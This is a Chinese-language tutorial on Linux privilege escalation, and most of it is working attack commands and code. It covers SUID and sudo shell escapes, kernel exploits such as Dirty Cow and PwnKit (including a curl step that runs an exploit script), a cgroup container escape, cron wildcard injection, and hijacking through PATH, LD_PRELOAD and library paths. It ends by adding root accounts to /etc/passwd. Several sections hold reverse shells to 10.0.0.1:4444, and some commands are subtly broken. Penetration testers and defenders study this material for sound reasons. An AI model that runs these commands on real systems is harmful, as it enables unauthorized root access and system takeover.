Linux 提权全攻略:从入门到精通

Linux 提权是渗透测试和系统安全中非常重要的技能。本文总结了常见的 Linux 提权方法,从基础的 SUID/Sudo 到复杂的内核漏洞利用,帮助系统管理员和安全研究人员全面了解提权攻击面,更好地进行防御。

注意:本文内容仅供学习和授权测试使用,严禁用于非法用途。

SUID 提权

SUID(Set User ID)是一种特殊权限,当设置了 SUID 位的可执行文件被执行时,文件将以文件所有者的权限运行,而非执行者的权限。如果文件所有者是 root,普通用户通过执行该文件可以获得 root 权限。

查找 SUID 文件

1
2
3
4
5
6
7
8
9
10
11
# 基础查找
find / -perm -4000 -type f 2>/dev/null

# 更详细的查找(显示权限)
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# 指定目录查找
find /bin /usr/bin /usr/sbin /sbin -perm -4000 -type f 2>/dev/null

# 排除系统目录(减少误报)
find / -path /proc -prune -o -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

常见可利用的 SUID 程序

程序 利用方法 成功率
find find / -exec /bin/bash \;
vim :!/bin/bash
nano ^R^X; reset; sh
less !bash
more !bash
nmap nmap --interactive 中(旧版本)
awk awk 'BEGIN {system("/bin/bash")}'
sed sed -n '1e exec sh 1<p' /dev/null
cp 通过符号链接劫持
mv 通过符号链接劫持
bash 直接运行获取 root 极高
python python -c 'import os; os.execl("/bin/bash", "bash")'

具体攻击手法

利用 find 提权

1
2
3
4
5
6
7
8
9
10
11
12
# 方法1:直接执行命令
find /etc/passwd -exec whoami \;
# 输出:root

# 方法2:获取交互式shell
find / -exec /bin/bash \;

# 方法3:执行多个命令
find . -exec "id;whoami;cat /etc/passwd" \;

# 方法4:结合反引号
find . -exec `cp /bin/bash /tmp/rootbash;chmod 4755 /tmp/rootbash` \;

利用 vim/nano 提权

1
2
3
4
5
6
7
8
9
10
# vim 方法
vim /etc/passwd
# 在vim中输入::/bin/bash
:!/bin/bash
# 或者
:shell

# nano 方法
nano /etc/passwd
# 按 Ctrl+R,然后 Ctrl+X,输入:reset; sh

利用 less/more 提权

1
2
3
4
5
6
7
# less 方法
less /etc/passwd
# 输入:!bash

# more 方法
more /etc/passwd
# 输入:!bash

利用 awk 提权

1
2
3
4
5
# 方法1
awk 'BEGIN {system("/bin/bash")}'

# 方法2
awk 'BEGIN {while(1){system("bash")}}'

利用 sed 提权

1
2
3
4
5
# 执行shell
sed -n '1e exec sh 1<p' /dev/null

# 或者
sed '1e bash' /dev/null

利用 cp/mv 提权

1
2
3
4
5
6
7
8
9
# 创建符号链接
ln -s /etc/passwd /tmp/target

# 如果cp/mv有SUID且处理链接
cp /tmp/target /tmp/backup

# 然后修改备份文件,再移回
echo "root2:$(perl -le 'print crypt("password","salt")'):0:0::/root:/bin/bash" >> /tmp/backup
cp /tmp/backup /etc/passwd

利用 Python/Perl/Ruby 提权

1
2
3
4
5
6
7
8
9
10
# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import os; os.execl("/bin/bash", "bash")'
python -c 'import subprocess; subprocess.call(["/bin/bash"])'

# Perl
perl -e 'exec "/bin/bash";'

# Ruby
ruby -e 'exec "/bin/bash"'

GTFOBins 参考

GTFOBins 是一个收集 Unix 二进制文件可用于绕过安全限制的数据库。访问 https://gtfobins.github.io/ 可以查找更多利用方法。


Sudo 提权

Sudo(SuperUser DO)允许普通用户以其他用户(通常是 root)的权限执行命令。如果 /etc/sudoers 配置不当,攻击者可以利用特定命令的 sudo 权限进行提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 基础查询
sudo -l

# 详细输出
sudo -l -v

# 显示所有用户(需要root)
sudo -U $(id -un) -l

# 查找sudo配置文件
cat /etc/sudoers
ls -la /etc/sudoers*
ls -la /etc/sudoers.d/

常见不安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 允许任意命令
user ALL=(ALL:ALL) ALL

# 无密码执行
user ALL=(ALL) NOPASSWD: ALL

# 特定命令可利用
user ALL=(root) NOPASSWD: /usr/bin/vim
user ALL=(root) /usr/bin/less
user ALL=(root) /bin/more
user ALL=(root) /usr/bin/awk
user ALL=(root) /usr/bin/perl
user ALL=(root) /usr/bin/python
user ALL=(root) /usr/bin/nmap
user ALL=(root) /usr/bin/git
user ALL=(root) /usr/bin/man
user ALL=(root) /bin/find

具体攻击手法

利用编辑器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# sudo vim
sudo vim /etc/passwd
:!/bin/bash
# 或者
:shell

# sudo nano
sudo nano /etc/passwd
# Ctrl+R -> Ctrl+X -> reset; sh

# sudo vi
sudo vi /etc/passwd
:set shell=/bin/bash
:shell

利用分页器

1
2
3
4
5
6
7
8
9
10
11
# sudo less
sudo less /etc/passwd
!bash

# sudo more
sudo more /etc/passwd
!bash

# sudo man
sudo man man
!bash

利用解释器

1
2
3
4
5
6
7
8
9
10
11
12
13
# sudo python
sudo python -c 'import pty; pty.spawn("/bin/bash")'
sudo python -c 'import os; os.execl("/bin/bash", "bash")'
sudo python -c 'import subprocess; subprocess.call(["/bin/bash"])'

# sudo perl
sudo perl -e 'exec "/bin/bash";'

# sudo ruby
sudo ruby -e 'exec "/bin/bash"'

# sudo lua
sudo lua -e 'os.execute("/bin/bash")'

利用 AWK

1
2
3
4
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {while(1){system("bash")}}'
sudo awk 'BEGIN {cmd="/bin/bash"; while(1) system(cmd)}'

利用 FIND

1
2
3
4
# sudo find
sudo find / -exec /bin/bash \;
sudo find . -exec "id;whoami" \;
sudo find / -exec "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" \;

利用 NMAP

1
2
3
4
5
6
7
8
9
10
# nmap 旧版本交互模式
sudo nmap --interactive
nmap> !sh

# nmap 脚本执行
echo "os.execute('/bin/bash')" > /tmp/evil.nse
sudo nmap --script=/tmp/evil.nse

# nmap 交互式shell(某些版本)
sudo nmap -iL /dev/null -p 80 --script-args http.useragent=";sh"

利用 GIT

1
2
3
4
5
6
7
# sudo git
sudo git help config
!bash

# 或者
sudo git -p help config
!bash

利用 SCP

1
2
# sudo scp
sudo scp -S /bin/bash x y:

利用 TAR

1
2
3
4
# sudo tar 通配符注入
touch /tmp/--checkpoint=1
touch /tmp/--checkpoint-action=exec=sh
sudo tar cf archive.tar /tmp/*

利用 LD_PRELOAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 如果sudo配置允许环境变量
# 查看是否允许
sudo -l

# 创建恶意so库
cat > /tmp/lib.c <<EOF
#include <stdlib.h>
void _init() {
system("/bin/bash");
}
EOF
gcc -shared -fPIC -o /tmp/lib.so /tmp/lib.c

# 利用
sudo LD_PRELOAD=/tmp/lib.so <command>

# 或者使用 -E 保留环境变量
sudo -E LD_PRELOAD=/tmp/lib.so <command>

利用 sudoedit

1
2
3
# sudoedit(如果配置了)
sudoedit /etc/sudoers
# 修改配置允许无密码sudo

组合技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看所有可用的 sudo 命令
sudo -l

# 尝试每个命令的提权方法
for cmd in $(sudo -l 2>/dev/null | grep -oP '\(root\) \K[^ ]+'); do
echo "Testing: $cmd"
done

# 使用 GTFOBins 查询
for cmd in vim less more awk perl python; do
echo "=== $cmd ==="
curl -s "https://gtfobins.github.io/gtfobins/$cmd/" | grep -A 5 "sudo"
done

内核漏洞提权

Linux 内核运行在最高权限等级(ring 0),如果内核存在漏洞,攻击者可以利用漏洞从用户态(ring 3)提升到内核态,从而获得系统完全控制权。

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 内核版本
uname -a
uname -r
uname -m

# 发行版信息
cat /etc/os-release
lsb_release -a 2>/dev/null
cat /etc/issue

# 内核模块
lsmod
cat /proc/modules

# CPU架构
cat /proc/cpuinfo
arch

# 内核配置
cat /boot/config-$(uname -r) 2>/dev/null

# 系统启动参数
cat /proc/cmdline

# 安全模块
cat /proc/sys/kernel/grsecurity 2>/dev/null
ls -la /sys/kernel/security/

# 防护状态
dmesg | grep -i "dmesg restricted"
cat /proc/sys/kernel/dmesg_restrict
cat /proc/sys/kernel/kptr_restrict

经典内核漏洞

Dirty Cow (CVE-2016-5195)

影响范围:内核版本 2.6.22 至 4.4.4/4.8.3

1
2
3
4
5
6
7
8
9
10
11
12
# 检测
cat /proc/version | grep -E "2\.6\.[3-9]|3\..*|4\.[0-7]"

# EXP 链接
# https://github.com/dirtycow/dirtycow.github.io/blob/master/poc/dirtyc0w.c

# 编译执行
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w /etc/passwd root2:$(perl -le 'print crypt("password","salt")'):0:0::/root:/bin/bash

# 切换用户
su - root2

CVE-2017-16995 (Ubuntu 16.04)

1
2
3
4
5
6
7
8
9
# 检测
uname -a | grep "4.4.0-.*-generic"

# 使用 linux-exploit-suggester 自动检测
./linux-exploit-suggester.sh

# EXP 编译
gcc exploit.c -o exploit
./exploit

CVE-2021-4034 (PwnKit - polkit)

影响范围:Polkit (pkexec) 2009-至今

1
2
3
4
5
6
7
# 检测
pkexec --version

# EXP 一键执行(无需root)
curl -s https://github.com/berdav/CVE-2021-4034/raw/main/cve-2021-4034.sh > cve.sh
chmod +x cve.sh
./cve.sh

CVE-2022-0847 (Dirty Pipe)

影响范围:内核 5.8 至 5.16.11 / 5.15.25 / 5.10.102

1
2
3
4
5
6
# 检测
uname -r | grep -E "5\.(8|9|10|11|12|13|14|15|16)"

# EXP 使用
gcc exploit.c -o exploit
./exploit /etc/passwd root2:$(perl -le 'print crypt("password","salt")'):0:0::/root:/bin/bash

其他常见漏洞

CVE 影响内核 描述
CVE-2010-3904 2.6.36 之前 RDS 协议漏洞
CVE-2010-4258 多个版本 NULL 指针解引用
CVE-2012-0056 3.3-rc1 之前 proc 文件系统漏洞
CVE-2013-2094 3.8.9 之前 perf_swevent_init 漏洞
CVE-2014-3153 3.15.4 之前 futex 漏洞
CVE-2016-0728 多个版本 Keyring 漏洞
CVE-2019-18634 sudo sudo 堆溢出
CVE-2021-3156 sudo 1.7.7 至 1.9.0p1 sudo 堆溢出 (Baron Samedit)

自动化工具

Linux Exploit Suggester

1
2
3
4
5
6
7
8
# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# 运行
./linux-exploit-suggester.sh

# 指定内核版本
./linux-exploit-suggester.sh -k 4.4.0-31-generic

Kernel Exploit Detection

1
2
3
4
5
# 使用 linPEAS(功能全面的扫描工具)
./linpeas.sh

# 或使用 LES (Linux Exploit Suggester)
./les.sh

Searchsploit

1
2
3
4
5
6
7
8
9
10
11
# 在 Kali 上使用
searchsploit linux kernel 4.4
searchsploit privilege escalation
searchsploit ubuntu 16.04

# 搜索特定漏洞
searchsploit dirty cow
searchsploit cve-2021-4034

# 复制EXP到当前目录
searchsploit -m 40839

EXP 执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 信息收集
uname -a
cat /etc/os-release

# 2. 选择合适的EXP
searchsploit linux kernel $(uname -r | cut -d'-' -f1)

# 3. 下载EXP
searchsploit -m <exploit_id>

# 4. 检查并编译
grep -r "main" exploit.c
gcc exploit.c -o exploit

# 5. 运行EXP
./exploit

# 6. 验证提权
id
whoami

Docker 容器内核逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 检查是否在容器内
cat /proc/1/cgroup | grep docker
cat /.dockerenv

# 如果宿主机存在内核漏洞,可尝试从容器逃逸
# 使用 dirtycow 在容器内修改宿主机文件
./dirtycow /host/etc/passwd <new_content>

# 或者使用 cgroups release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exp.sh
echo "ps aux > $host_path/output" >> /exp.sh
chmod a+x /exp.sh
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Cronjobs 提权

Cron 是 Linux 系统的定时任务调度器,系统会定期执行预设的脚本或命令。如果定时任务的配置不当(如使用了通配符、脚本文件可写、环境变量不安全等),攻击者可以劫持任务执行流程获得更高权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 当前用户任务
crontab -l

# 所有用户任务(需要root)
for user in $(cut -d: -f1 /etc/passwd); do
echo "=== $user ==="
crontab -u $user -l 2>/dev/null
done

# 系统级定时任务
cat /etc/crontab
ls -la /etc/cron*
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# systemd timers
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer
ls -la /lib/systemd/system/*.timer

# 查看任务执行日志
grep CRON /var/log/syslog
grep CRON /var/log/cron
journalctl -u cron

Cron 配置格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
* * * * * 用户 命令
│ │ │ │ │
│ │ │ │ └─ 星期几 (0-7, 0和7都表示周日)
│ │ │ └─── 月份 (1-12)
│ │ └───── 日期 (1-31)
│ └─────── 小时 (0-23)
└───────── 分钟 (0-59)

特殊符号:
* 任意值
, 分隔值 (1,3,5)
- 范围值 (1-5)
/ 步长 (*/5 表示每5分钟)
@reboot 系统启动时执行
@yearly 每年
@monthly 每月
@weekly 每周
@daily 每天
@hourly 每小时

常见不安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. 通配符未正确转义
* * * * * root tar -czf /var/backups/backup.tar.gz /var/www/*
# * 会被 shell 展开为所有文件名

# 2. 可写的脚本文件
* * * * * root /home/user/script.sh
# script.sh 可被普通用户修改

# 3. 相对路径
* * * * * root ./script.sh
# 可以通过修改工作目录劫持

# 4. 环境变量未设置
* * * * * root python script.py
# 可以劫持 PATH 指向恶意 python

# 5. 无权限检查的脚本
* * * * * root bash /tmp/cleanup.sh
# /tmp 任何人可写

# 6. 使用 cp/mv/tar 等危险的命令
* * * * * root cp -r /var/www/* /backup/

具体攻击手法

通配符注入 (Wildcard Injection)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 原始定时任务
* * * * * root tar -czf /var/backups/backup.tar.gz /var/www/*

# 攻击方法1: 利用 tar 的 --checkpoint 参数
cd /var/www
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh /tmp/evil.sh"

# 创建恶意脚本
cat > /tmp/evil.sh <<EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/evil.sh

# 等待 cron 执行后
/tmp/rootbash
# 或者直接反弹shell
cat > /tmp/evil.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
EOF

# 攻击方法2: 利用 tar 的 --use-compress-program
cd /var/www
touch -- "--use-compress-program=bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

# 攻击方法3: rsync 类似漏洞
cd /var/www
touch -- "-e sh -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"

# 攻击方法4: chown 参数劫持
cd /var/www
touch -- "--reference=/etc/passwd"

脚本文件劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 场景: 定时任务执行可写脚本
* * * * * root /home/user/script.sh

# 检查脚本位置和权限
ls -la /home/user/script.sh

# 添加提权命令
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /home/user/script.sh
echo 'chmod 777 /etc/passwd' >> /home/user/script.sh

# 或者直接反弹shell
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /home/user/script.sh

# 等待 cron 执行
watch -n 1 'ls -la /tmp/rootbash'

PATH 环境变量劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 场景: 脚本使用相对路径调用命令
* * * * * root /root/backup.sh
# backup.sh 内容:tar -czf backup.tar.gz /var/www/*

# 查看 cron 环境变量(在脚本中添加)
echo 'env > /tmp/cron_env' >> /root/backup.sh

# 等待 cron 执行后查看
cat /tmp/cron_env

# 劫持 PATH
export PATH=/tmp:$PATH
cat > /tmp/tar <<EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# 执行真正的 tar
/bin/tar "$@"
EOF
chmod +x /tmp/tar

# 等待 cron 执行

文件名劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 场景: 脚本遍历目录处理文件
# backup.sh:
# for file in /var/www/*; do
# tar -rf /var/backups/backup.tar "$file"
# done

# 创建特殊文件名
cd /var/www
touch "$(echo -e 'evil.sh\n/tmp/evil.sh')"

# 或者
touch "-; /bin/bash #"

# 创建恶意文件
cd /var/www
echo '#!/bin/bash' > "exploit.tar"
echo 'cp /bin/bash /tmp/rootbash' >> "exploit.tar"
echo 'chmod 4755 /tmp/rootbash' >> "exploit.tar"

# 或使用符号链接
ln -s /etc/passwd "$(date +%s).txt"

符号链接劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
# 场景: 定时任务处理临时文件
* * * * * root cp /tmp/upload/* /var/www/uploads/

# 创建符号链接指向敏感文件
cd /tmp/upload
ln -s /etc/shadow malicious.txt

# 当 cron 执行 cp 时,shadow 文件被复制到 web 目录
cat /var/www/uploads/malicious.txt

# 也可以创建符号链接到可执行文件
ln -s /bin/bash exploit.txt
# 等待文件被执行(如果有其他任务处理这个文件)

@reboot 定时任务

1
2
3
4
5
6
7
8
9
10
11
# 查看 @reboot 任务
crontab -l | grep @reboot
cat /etc/crontab | grep @reboot

# 添加恶意 @reboot 任务
echo '@reboot root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /tmp/crontab
echo '@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /tmp/crontab

# 如果有写入权限
cat /tmp/crontab >> /etc/crontab
# 重启后获得权限

Systemd Timer 劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 列出所有 timers
systemctl list-timers --all

# 查看特定 timer
systemctl cat systemd-tmpfiles-clean.timer

# 查看对应的 service
systemctl cat systemd-tmpfiles-clean.service

# 如果 service 脚本可写
ls -la /usr/lib/systemd/system/systemd-tmpfiles-clean.service

# 劫持 ExecStart
cat > /tmp/malicious.service <<EOF
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
EOF

# 如果有写入权限
cp /tmp/malicious.service /etc/systemd/system/
systemctl daemon-reload
systemctl restart malicious

监控 Cron 执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用 pspy 监控进程(无需root)
./pspy64

# 查找定时任务执行的具体命令
cat > /tmp/monitor.sh <<'EOF'
#!/bin/bash
while true; do
ps aux | grep -E "cron|tar|bash|python" | grep -v grep
sleep 1
done
EOF

# 监控文件变化
inotifywait -m -r /etc/cron* /var/spool/cron/
inotifywait -m /var/www/

防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 使用绝对路径
* * * * * root /usr/bin/tar -czf /var/backups/backup.tar.gz /var/www/

# 2. 转义通配符
* * * * * root tar -czf /var/backups/backup.tar.gz -- /var/www/*

# 3. 设置正确权限
chmod 644 /etc/crontab
chmod 750 /etc/cron.d/
chmod 700 /home/user/script.sh
chown root:root /home/user/script.sh

# 4. 在脚本中重置 PATH
#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

环境变量提权

环境变量是操作系统为进程存储配置信息的方式。如果程序(尤其是以高权限运行的程序)依赖环境变量(如 PATH、LD_LIBRARY_PATH 等)来定位可执行文件或库,攻击者可以劫持这些变量,使程序执行恶意代码。

相关环境变量

环境变量 作用 劫持方式
PATH 可执行文件搜索路径 在路径前插入恶意目录
LD_LIBRARY_PATH 动态库搜索路径 创建恶意 .so 文件
LD_PRELOAD 预加载库 创建劫持所有函数的库
PYTHONPATH Python 模块路径 创建恶意 Python 模块
PERL5LIB Perl 模块路径 创建恶意 Perl 模块
IFS 字段分隔符 修改命令分隔符

基础攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 场景: 脚本使用相对路径调用命令
# vulnerable.sh:
# #!/bin/bash
# tar -czf backup.tar.gz /var/www/*

# 查看当前 PATH
echo $PATH

# 添加恶意目录到 PATH 开头
export PATH=/tmp:$PATH

# 创建恶意的 tar 程序
cat > /tmp/tar <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/tar "$@"
EOF
chmod +x /tmp/tar

# 执行脚本
./vulnerable.sh

# 验证
/tmp/rootbash -p
id

结合 SUID 程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 场景: SUID 程序调用 system() 执行命令
# 程序内部: system("ls -la");

export PATH=/tmp:$PATH

# 创建恶意的 ls
cat > /tmp/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/ls "$@"
EOF
chmod +x /tmp/ls

# 运行 SUID 程序
./suid_program

# 获取 root shell
/tmp/rootbash -p

结合 Cron 任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 场景: Cron 任务执行脚本
* * * * * root /root/backup.sh

# 监控 cron 环境
cat > /tmp/get_env.sh <<'EOF'
#!/bin/bash
env > /tmp/cron_env
EOF
chmod +x /tmp/get_env.sh
# 在脚本开头调用: /tmp/get_env.sh

# 等待执行后查看
cat /tmp/cron_env | grep -i path

# 劫持 PATH(如果 cron 任务未设置固定 PATH)
export PATH=/tmp:$PATH
# 创建对应的恶意程序

Python/脚本程序劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 场景: Python 程序调用外部命令
import os
os.system("cp source dest")

export PATH=/tmp:$PATH

# 创建恶意 cp
cat > /tmp/cp <<'EOF'
#!/bin/bash
# 执行提权代码
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# 执行真正的 cp
/bin/cp "$@"
EOF
chmod +x /tmp/cp

# 运行程序
python malicious.py

LD_LIBRARY_PATH 劫持

原理

动态链接程序在加载共享库时,会搜索 LD_LIBRARY_PATH 指定的目录。如果攻击者能控制这个环境变量,就可以让程序加载恶意库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 场景: SUID 程序调用外部库
# 检查程序依赖库
ldd /path/to/suid_program

# 导出 LD_LIBRARY_PATH
export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH

# 创建恶意库
cat > /tmp/lib.c <<'EOF'
#include <stdlib.h>

void init() __attribute__((constructor));

void init() {
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF

gcc -shared -fPIC -o /tmp/libmalicious.so /tmp/lib.c

# 如果程序链接 libmalicious
# 运行程序(如果 libmalicious.so 在搜索路径中)
./suid_program

Python ctypes 劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 场景: Python 程序加载外部库
import ctypes
lib = ctypes.CDLL('libexample.so')

export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH

# 创建恶意库
cat > /tmp/libexample.c <<'EOF'
#include <stdlib.h>

void _init() {
system("/bin/bash");
}

void example_function() {
// 正常功能
}
EOF

gcc -shared -fPIC -o /tmp/libexample.so /tmp/libexample.c

# 运行 Python 程序
python malicious.py

LD_PRELOAD 劫持

原理

LD_PRELOAD 允许在程序加载时优先加载指定的共享库,可以劫持任意函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 检查是否允许 LD_PRELOAD
cat > /tmp/test.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>

int main() {
printf("LD_PRELOAD test\n");
return 0;
}
EOF

gcc -o /tmp/test /tmp/test.c
LD_PRELOAD=/tmp/lib.so /tmp/test
# 如果未报错,说明允许

# 创建劫持库
cat > /tmp/lib.c <<'EOF'
#include <stdlib.h>
#include <dlfcn.h>

typedef FILE* (*fopen_t)(const char*, const char*);
fopen_t real_fopen;

FILE* fopen(const char *pathname, const char *mode) {
static int first = 1;
if (first) {
first = 0;
system("/bin/bash");
}
real_fopen = dlsym(RTLD_NEXT, "fopen");
return real_fopen(pathname, mode);
}
EOF

gcc -shared -fPIC -o /tmp/lib.so /tmp/lib.c -ldl

# 劫持 SUID 程序(如果允许)
LD_PRELOAD=/tmp/lib.so ./suid_program

# 劫持 sudo(如果配置允许)
sudo LD_PRELOAD=/tmp/lib.so ls

劫持特定函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 劫持所有系统调用
cat > /tmp/lib.c <<'EOF'
#include <stdlib.h>

void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -i");
}
EOF

gcc -shared -fPIC -o /tmp/liball.so /tmp/lib.c

# 劫持常用命令
LD_PRELOAD=/tmp/liball.so ls
LD_PRELOAD=/tmp/liball.so tar
LD_PRELOAD=/tmp/liball.so python

Python 环境变量劫持

PYTHONPATH 劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
# 场景: Python 程序 import 模块
import helper_module

export PYTHONPATH=/tmp:$PYTHONPATH

# 创建恶意模块
cat > /tmp/helper_module.py <<'EOF'
import os
os.system("/bin/bash")
EOF

# 运行程序
python malicious.py

PYTHONHOME 劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 劫持 Python 标准库位置
export PYTHONHOME=/tmp

# 创建完整的 Python 目录结构
mkdir -p /tmp/lib/python3.8

# 恶意库
cat > /tmp/lib/python3.8/os.py <<'EOF'
import subprocess
subprocess.call(["/bin/bash"])
EOF

# 运行 Python
python

Perl 环境变量劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# PERL5LIB 劫持
export PERL5LIB=/tmp:$PERL5LIB

# 创建恶意模块
cat > /tmp/Helper.pm <<'EOF'
package Helper;
use Exporter qw(import);
our @EXPORT_OK = qw(helper);

sub helper {
system("/bin/bash");
}
1;
EOF

# 场景: Perl 脚本
perl -e 'use Helper qw(helper); helper();'

Ruby 环境变量劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# RUBYLIB 劫持
export RUBYLIB=/tmp:$RUBYLIB

# 创建恶意库
cat > /tmp/helper.rb <<'EOF'
module Helper
def self.helper
system("/bin/bash")
end
end
EOF

# 场景: Ruby 脚本
ruby -e 'require "helper"; Helper.helper'

IFS 劫持

1
2
3
# IFS (Internal Field Separator) 分隔符劫持
export IFS='/'
# 然后类似 PATH 劫持的方式

组合攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 组合 PATH 和 LD_PRELOAD
export PATH=/tmp:$PATH
export LD_PRELOAD=/tmp/malicious.so

# 创建恶意 tar(PATH劫持)
cat > /tmp/tar <<'EOF'
#!/bin/bash
LD_PRELOAD=/tmp/liball.so /bin/tar "$@"
EOF
chmod +x /tmp/tar

# 创建恶意库(LD_PRELOAD)
cat > /tmp/liball.c <<'EOF'
#include <stdlib.h>
void _init() { system("/bin/bash"); }
EOF
gcc -shared -fPIC -o /tmp/liball.so /tmp/liball.c

# 触发
./suid_tar_program

/etc/passwd 提权

/etc/passwd 文件存储了系统中所有用户的基本信息。在旧版本 Linux 系统中,该文件包含了密码哈希;现代系统中密码哈希被移至 /etc/shadow,但如果 /etc/passwd 可写或存在特定配置缺陷,攻击者仍可通过修改该文件来提权。

1
2
3
username:password:UID:GID:comment:home_dir:shell
│ │ │ │ │ │ │
└─用户名 └─密码(x) └─UID─└─GID─└─备注──└─家目录──└─shell
  • UID=0: root 用户
  • UID 1000-60000: 普通用户
  • UID 65534: nobody

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 检查 /etc/passwd 权限
ls -la /etc/passwd

# 查看文件内容
cat /etc/passwd
less /etc/passwd

# 查找 UID=0 的用户
awk -F: '$3 == 0 {print}' /etc/passwd
grep ':0:0:' /etc/passwd

# 查看当前用户信息
id
whoami
grep $USER /etc/passwd

# 检查 /etc/shadow
ls -la /etc/shadow

# 尝试读取(通常需要 root)
cat /etc/shadow 2>/dev/null

密码哈希生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 方法1: 使用 openssl
openssl passwd -1 password
# 输出: $1$8RZv.......

# 方法2: 使用 perl
perl -le 'print crypt("password", "salt")'
# 输出: sa3tHJ3/KuYvI

# 方法3: 使用 mkpasswd(需要 whois)
mkpasswd -m sha-512 password
# 输出: $6$rounds=656000$......

# 方法4: 使用 python
python3 -c 'import crypt; print(crypt.crypt("password", crypt.mksalt(crypt.METHOD_SHA512)))'

# 方法5: 使用 php
php -r 'echo password_hash("password", PASSWORD_DEFAULT);'

攻击手法

直接写入新用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查是否可写
ls -la /etc/passwd
# -rw-r--r-- 1 root root 1234 /etc/passwd

# 如果可写(权限大于 644 或用户可写)
echo "hacker:$(openssl passwd -1 -salt salt password):0:0:Hacker:/root:/bin/bash" >> /etc/passwd

# 或者使用 perl 哈希
